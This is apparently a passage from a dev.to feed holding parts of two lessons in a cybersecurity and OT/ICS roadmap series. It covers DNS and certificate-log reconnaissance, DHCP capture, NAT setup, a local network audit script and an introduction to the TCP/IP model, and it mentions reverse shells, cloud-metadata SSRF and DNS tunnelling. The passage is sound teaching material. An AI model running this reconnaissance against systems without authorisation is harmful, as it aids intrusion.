    for name in cert.get('name_value', '').split('&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;'):
        if name.endswith('.&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;'.replace('cloudflare.com', '')):
            names.add(name.strip())
for name in sorted(names)[:20]:
    print(name)
"&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"crt.sh query failed"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== DNSSEC Check ==="&lt;/span&gt;
dig +dnssec A &lt;span class="nv"&gt;$TARGET&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"RRSIG|AD flag"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"DNSSEC info check"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Reverse DNS on Found IPs ==="&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;ip &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;dig A &lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;ptr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;dig &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; +short 2&amp;gt;/dev/null&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt; → &lt;/span&gt;&lt;span class="nv"&gt;$ptr&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: DHCP Analysis (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Capture and analyse DHCP traffic&lt;/span&gt;

&lt;span class="c"&gt;# Start DHCP capture:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s1"&gt;'port 67 or port 68'&lt;/span&gt; &amp;amp;
&lt;span class="nv"&gt;TCPDUMP_PID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$!&lt;/span&gt;

&lt;span class="c"&gt;# Trigger DHCP renewal:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dhclient &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; eth0 2&amp;gt;&amp;amp;1          &lt;span class="c"&gt;# Release&lt;/span&gt;
&lt;span class="nb"&gt;sleep &lt;/span&gt;1
&lt;span class="nb"&gt;sudo &lt;/span&gt;dhclient &lt;span class="nt"&gt;-v&lt;/span&gt; eth0 2&amp;gt;&amp;amp;1            &lt;span class="c"&gt;# Renew&lt;/span&gt;

&lt;span class="nb"&gt;sleep &lt;/span&gt;5
&lt;span class="nb"&gt;kill&lt;/span&gt; &lt;span class="nv"&gt;$TCPDUMP_PID&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Questions to answer from the capture:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== DHCP Analysis Questions ==="&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"1. What is the DHCP server IP?"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"2. What IP was offered to you?"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"3. What is the default gateway option?"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"4. What DNS servers were provided?"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"5. What is the lease time in seconds? In hours?"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"6. What is the subnet mask?"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"7. What Transaction ID was used? (Shows request-response matching)"&lt;/span&gt;

&lt;span class="c"&gt;# Check current DHCP lease:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/lib/dhclient/dhclient.leases 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/lib/NetworkManager/dhclient-&lt;span class="k"&gt;*&lt;/span&gt;.conf 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
nmcli device show eth0 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep &lt;/span&gt;DHCP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: NAT and IP Masquerading (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Configure Linux as a NAT router between two interfaces&lt;/span&gt;
&lt;span class="c"&gt;# (Requires two network interfaces — suitable for VM lab)&lt;/span&gt;

&lt;span class="c"&gt;# Identify interfaces:&lt;/span&gt;
ip &lt;span class="nb"&gt;link &lt;/span&gt;show

&lt;span class="c"&gt;# Enable IP forwarding:&lt;/span&gt;
&lt;span class="nb"&gt;echo &lt;/span&gt;1 | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; /proc/sys/net/ipv4/ip_forward

&lt;span class="c"&gt;# Configure NAT (masquerade):&lt;/span&gt;
&lt;span class="c"&gt;# Assume: eth0 is WAN (internet side), eth1 is LAN (internal)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-A&lt;/span&gt; POSTROUTING &lt;span class="nt"&gt;-o&lt;/span&gt; eth0 &lt;span class="nt"&gt;-j&lt;/span&gt; MASQUERADE
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-A&lt;/span&gt; FORWARD &lt;span class="nt"&gt;-i&lt;/span&gt; eth1 &lt;span class="nt"&gt;-o&lt;/span&gt; eth0 &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-A&lt;/span&gt; FORWARD &lt;span class="nt"&gt;-m&lt;/span&gt; state &lt;span class="nt"&gt;--state&lt;/span&gt; RELATED,ESTABLISHED &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT

&lt;span class="c"&gt;# Verify NAT table:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt;

&lt;span class="c"&gt;# Test from a client on eth1 side:&lt;/span&gt;
&lt;span class="c"&gt;# Client should be able to reach internet through this machine&lt;/span&gt;

&lt;span class="c"&gt;# Enable NAT logging (critical for forensics):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-A&lt;/span&gt; POSTROUTING &lt;span class="nt"&gt;-o&lt;/span&gt; eth0 &lt;span class="nt"&gt;-j&lt;/span&gt; LOG &lt;span class="nt"&gt;--log-prefix&lt;/span&gt; &lt;span class="s2"&gt;"NAT: "&lt;/span&gt; &lt;span class="nt"&gt;--log-level&lt;/span&gt; 6
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-A&lt;/span&gt; POSTROUTING &lt;span class="nt"&gt;-o&lt;/span&gt; eth0 &lt;span class="nt"&gt;-j&lt;/span&gt; MASQUERADE

&lt;span class="c"&gt;# View NAT log:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dmesg | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"NAT:"&lt;/span&gt;
&lt;span class="c"&gt;# Or: journalctl -k | grep "NAT:"&lt;/span&gt;

&lt;span class="c"&gt;# View current NAT connections:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;conntrack &lt;span class="nt"&gt;-L&lt;/span&gt; 2&amp;gt;/dev/null    &lt;span class="c"&gt;# Requires conntrack package&lt;/span&gt;
&lt;span class="c"&gt;# Shows all active NAT translations in real time&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 5: Complete Network Audit Script
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Build a network audit script that combines all concepts from this module&lt;/span&gt;

&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/network_audit.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/bin/bash
# Network Security Audit — Stage 1.4 Exercise
# Collects network configuration and highlights security concerns

echo "===== NETWORK SECURITY AUDIT ====="
echo "Timestamp: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
echo ""

echo "--- Interfaces and Addresses ---"
ip addr show | grep -E "^[0-9]|inet "
echo ""

echo "--- Routing Table ---"
ip route show
echo ""

echo "--- Default Gateway ---"
ip route | grep default
echo ""

echo "--- ARP Cache (recently seen hosts) ---"
ip neigh show
echo ""

echo "--- DNS Configuration ---"
cat /etc/resolv.conf
echo ""

echo "--- Active Connections ---"
ss -tulnp | head -20
echo ""

echo "--- DHCP Lease ---"
cat /var/lib/dhclient/dhclient.leases 2&amp;gt;/dev/null | grep -E "lease|fixed-address|routers|domain-name-servers" | head -10
echo ""

echo "--- Security Checks ---"

# Check for RFC1918 addresses:
echo "RFC1918 interfaces:"
ip addr | grep -oE '(10|172&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;(1[6-9]|2[0-9]|3[01])|192&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;168)&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;[0-9]+&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;[0-9]+/[0-9]+'

# Check IP forwarding:
fwd=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/net/ipv4/ip_forward&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
[ "&lt;/span&gt;&lt;span class="nv"&gt;$fwd&lt;/span&gt;&lt;span class="sh"&gt;" = "1" ] &amp;amp;&amp;amp; echo "[!] IP FORWARDING ENABLED — is this machine a router?" || echo "[OK] IP forwarding disabled"

# Check ICMP redirect acceptance:
redir=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/sys/net/ipv4/conf/all/accept_redirects&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
[ "&lt;/span&gt;&lt;span class="nv"&gt;$redir&lt;/span&gt;&lt;span class="sh"&gt;" = "1" ] &amp;amp;&amp;amp; echo "[!] ICMP REDIRECTS ACCEPTED — potential route hijack risk" || echo "[OK] ICMP redirects disabled"

# Check for unusual listening services:
echo ""
echo "Listening on all interfaces (0.0.0.0 or :::):"
ss -tlnp | grep -E "0&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;0&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;0&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;0|:::"

echo ""
echo "===== AUDIT COMPLETE ====="
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/network_audit.sh
bash /tmp/network_audit.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  16. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Core Mechanism&lt;/th&gt;
&lt;th&gt;Attack Relevance&lt;/th&gt;
&lt;th&gt;Defence&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IPv4 Binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;32-bit number in dotted-decimal&lt;/td&gt;
&lt;td&gt;Foundation of all addressing calculations&lt;/td&gt;
&lt;td&gt;Must understand for subnet design and firewall rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Address Classes&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Historical classful boundaries&lt;/td&gt;
&lt;td&gt;Legacy OT devices may use class defaults&lt;/td&gt;
&lt;td&gt;Know class defaults to diagnose legacy device issues&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Public vs Private&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RFC 1918 ranges never routed publicly&lt;/td&gt;
&lt;td&gt;IP spoofing detection, cloud metadata SSRF&lt;/td&gt;
&lt;td&gt;BCP38 filtering, restrict metadata service access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cloud Metadata&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;169.254.169.254 serves cloud credentials&lt;/td&gt;
&lt;td&gt;SSRF → metadata → credential theft (Capital One 2019)&lt;/td&gt;
&lt;td&gt;IMDSv2, firewall metadata endpoint, least-privilege IAM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CIDR&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Variable prefix length, replaces classful&lt;/td&gt;
&lt;td&gt;Scope definition for scans, subnet calculation&lt;/td&gt;
&lt;td&gt;Design minimal subnets, audit CIDR firewall rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Subnet Mask&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Binary AND determines network vs host&lt;/td&gt;
&lt;td&gt;Network boundary calculation, routing decisions&lt;/td&gt;
&lt;td&gt;Correct mask prevents unintended reachability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Subnetting&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dividing address space into segments&lt;/td&gt;
&lt;td&gt;Lateral movement: routing tables reveal all subnets&lt;/td&gt;
&lt;td&gt;Segmentation reduces blast radius of any compromise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VLSM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Different prefix lengths per subnet&lt;/td&gt;
&lt;td&gt;Efficient segmentation design&lt;/td&gt;
&lt;td&gt;Right-size each zone, isolate OT with dedicated subnets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NAT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IP translation via state table&lt;/td&gt;
&lt;td&gt;NAT hides source for forensics, C2 bypasses NAT&lt;/td&gt;
&lt;td&gt;Log all NAT translations — required for incident response&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PAT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Port-based multiplexing of many-to-one&lt;/td&gt;
&lt;td&gt;Port exhaustion DoS, forensic attribution challenges&lt;/td&gt;
&lt;td&gt;Enable NAT logging, track source ports&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DHCP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Automatic IP assignment via DORA&lt;/td&gt;
&lt;td&gt;Starvation, rogue server → MITM, Option 121 TunnelVision&lt;/td&gt;
&lt;td&gt;DHCP snooping, trusted port designation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DNS Resolution&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hierarchical recursive lookup&lt;/td&gt;
&lt;td&gt;Cache poisoning, DNS tunnelling, C2 via DNS&lt;/td&gt;
&lt;td&gt;DNSSEC, DoH/DoT, DNS monitoring&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DNS Attacks&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cache poisoning, tunnelling, takeover&lt;/td&gt;
&lt;td&gt;C2 over DNS, data exfiltration, phishing&lt;/td&gt;
&lt;td&gt;Query rate monitoring, DNSSEC validation, TTL anomaly detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A/AAAA records&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hostname to IP mapping&lt;/td&gt;
&lt;td&gt;Cache poisoning target&lt;/td&gt;
&lt;td&gt;DNSSEC, monitor for unexpected changes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MX records&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Mail server identification&lt;/td&gt;
&lt;td&gt;Target for email infrastructure attacks&lt;/td&gt;
&lt;td&gt;Firewall, SPF/DKIM/DMARC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CNAME records&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Alias to another hostname&lt;/td&gt;
&lt;td&gt;Subdomain takeover via dangling CNAME&lt;/td&gt;
&lt;td&gt;Audit all CNAMEs, remove stale entries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TXT records&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Arbitrary text (SPF, DKIM, DMARC)&lt;/td&gt;
&lt;td&gt;Missing SPF/DMARC → email spoofing&lt;/td&gt;
&lt;td&gt;p=reject DMARC + SPF -all + DKIM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NS records&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Authoritative nameservers&lt;/td&gt;
&lt;td&gt;NS compromise → total DNS control&lt;/td&gt;
&lt;td&gt;Secure registrar, DNSSEC, monitor NS changes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PTR records&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Reverse DNS&lt;/td&gt;
&lt;td&gt;Reconnaissance, mail rejection without PTR&lt;/td&gt;
&lt;td&gt;Maintain PTR records, use for anomaly detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SRV records&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Service location (AD)&lt;/td&gt;
&lt;td&gt;AD enumeration without scanning&lt;/td&gt;
&lt;td&gt;Monitor SRV queries for reconnaissance patterns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OT Addressing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Mostly static, flat networks common&lt;/td&gt;
&lt;td&gt;Static IPs predictable, flat = lateral movement&lt;/td&gt;
&lt;td&gt;Segmentation with VLSM, passive-only asset discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-1.5-core-protocols.md"&gt;Stage 1.5 — Core Protocols&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-1.3-tcpip-model.md"&gt;Stage 1.3 — TCP/IP Model&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>bytewallacademy</category>
      <category>learn</category>
      <category>programming</category>
    </item>
    <item>
      <title>Stage 1.3 — TCP/IP Model</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Mon, 01 Jun 2026 10:05:12 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-13-tcpip-model-4511</link>
      <guid>https://dev.to/rencberakman/stage-13-tcpip-model-4511</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 1 — Network Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 1.3 — TCP/IP Model&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 1.2 — OSI Model&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 1.4 — IP Addressing and Subnetting&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why TCP/IP Is the Foundation of Every Attack and Defence&lt;/li&gt;
&lt;li&gt;TCP/IP Model — Four Layers, One Internet&lt;/li&gt;
&lt;li&gt;TCP vs UDP — The Fundamental Choice&lt;/li&gt;
&lt;li&gt;TCP Three-Way Handshake — Deep Dive&lt;/li&gt;
&lt;li&gt;TCP Four-Way Termination&lt;/li&gt;
&lt;li&gt;TCP Internals — What Textbooks Skip&lt;/li&gt;
&lt;li&gt;IPv4 Addressing&lt;/li&gt;
&lt;li&gt;IPv6 Fundamentals&lt;/li&gt;
&lt;li&gt;ICMP — The Network's Diagnostic Layer&lt;/li&gt;
&lt;li&gt;ARP — Address Resolution Protocol&lt;/li&gt;
&lt;li&gt;Putting It All Together — A Complete Packet's Journey&lt;/li&gt;
&lt;li&gt;TCP/IP in OT/ICS Environments&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why TCP/IP Is the Foundation of Every Attack and Defence
&lt;/h2&gt;

&lt;p&gt;TCP/IP is not a topic you study and move past. It is the substrate on which every network interaction in your career will happen. Every shell you catch, every packet you capture, every firewall rule you write, every alert you investigate — it all lives inside TCP/IP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concrete career examples:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When you run Metasploit and set &lt;code&gt;LHOST&lt;/code&gt; and &lt;code&gt;LPORT&lt;/code&gt;, you are configuring a TCP or UDP listener at the IP layer. When your reverse shell connects back, it initiates a TCP three-way handshake. When you lose the shell because the target rebooted, the TCP connection terminated via RST or timeout.&lt;/p&gt;

&lt;p&gt;When you use Wireshark to analyse a suspected C2 beacon, you are looking at TCP streams. The beacon's timing, payload size, and connection frequency are all visible in TCP/IP metadata — even when the payload is encrypted.&lt;/p&gt;

&lt;p&gt;When a SOC analyst sees "port 4444 outbound to 185.220.x.x," they know: that is TCP, that is Metasploit's default listener port, and that is a Tor exit node IP range. All of that reasoning comes from knowing TCP/IP deeply.&lt;/p&gt;

&lt;p&gt;When an OT engineer says "the PLC stopped responding," the first question is: is it a Layer 3 (IP routing) problem, a Layer 4 (TCP connection state) problem, or a Layer 7 (Modbus application) problem? You cannot answer that without knowing TCP/IP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The security reality:&lt;/strong&gt; TCP/IP was designed in the 1970s-80s for a cooperative research network. Authentication was not a design requirement. Every IP address can be spoofed. Every TCP connection can be reset by a third party. ARP has no authentication. ICMP can be used to map networks and crash systems. These are not bugs — they are the protocol as designed. Understanding these properties is what allows you to exploit them offensively and defend against their exploitation defensively.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. TCP/IP Model — Four Layers, One Internet
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 The Model
&lt;/h3&gt;

&lt;p&gt;The TCP/IP model (also called the DoD model — Department of Defense, which funded its development) describes how internet protocols are organised. Unlike OSI's seven layers, TCP/IP uses four:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────────┐
│  Layer 4 — Application                                      │
│  HTTP, HTTPS, DNS, SMTP, FTP, SSH, Telnet, SNMP,           │
│  Modbus TCP, DNP3, IEC 60870-5-104, OPC-UA                 │
├─────────────────────────────────────────────────────────────┤
│  Layer 3 — Transport                                        │
│  TCP (port-to-port, reliable)                               │
│  UDP (port-to-port, unreliable)                             │
│  SCTP, QUIC                                                 │
├─────────────────────────────────────────────────────────────┤
│  Layer 2 — Internet                                         │
│  IPv4, IPv6                                                 │
│  ICMP, ICMPv6                                               │
│  IPSec (AH, ESP)                                           │
├─────────────────────────────────────────────────────────────┤
│  Layer 1 — Network Access (Link)                            │
│  Ethernet, Wi-Fi (802.11), ARP                             │
│  Physical medium: copper, fibre, radio                      │
└─────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 OSI vs TCP/IP — The Mapping Every Professional Needs
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OSI Layer          OSI Name        TCP/IP Layer     TCP/IP Name
─────────────────────────────────────────────────────────────
7                  Application   ─┐
6                  Presentation  ─┼──────────────→  Application
5                  Session       ─┘
4                  Transport      ─────────────→   Transport
3                  Network        ─────────────→   Internet
2                  Data Link     ─┐
1                  Physical      ─┴─────────────→  Network Access
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why this matters:&lt;/strong&gt; Security tools, CVEs, and documentation reference both models. A vulnerability described as "L4 TCP RST injection" and one described as "transport layer attack" mean the same thing. An "L3 routing attack" is an "Internet layer attack" in TCP/IP terms. You must translate fluently between both.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.3 The Internet Layer — The Core of TCP/IP
&lt;/h3&gt;

&lt;p&gt;The Internet layer (IP) is what makes the internet work. It provides:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Logical addressing:&lt;/strong&gt; IP addresses identify hosts globally&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Routing:&lt;/strong&gt; Packets are forwarded hop-by-hop toward the destination&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fragmentation:&lt;/strong&gt; Large packets split to fit link MTU&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Connectionless delivery:&lt;/strong&gt; No guarantees — best effort&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;IP's lack of guarantees is intentional. Reliability, ordering, and error correction are pushed up to the Transport layer (TCP) or the application. This separation of concerns made the internet scalable — routers only need to forward packets, not maintain state for every connection.&lt;/p&gt;




&lt;h2&gt;
  
  
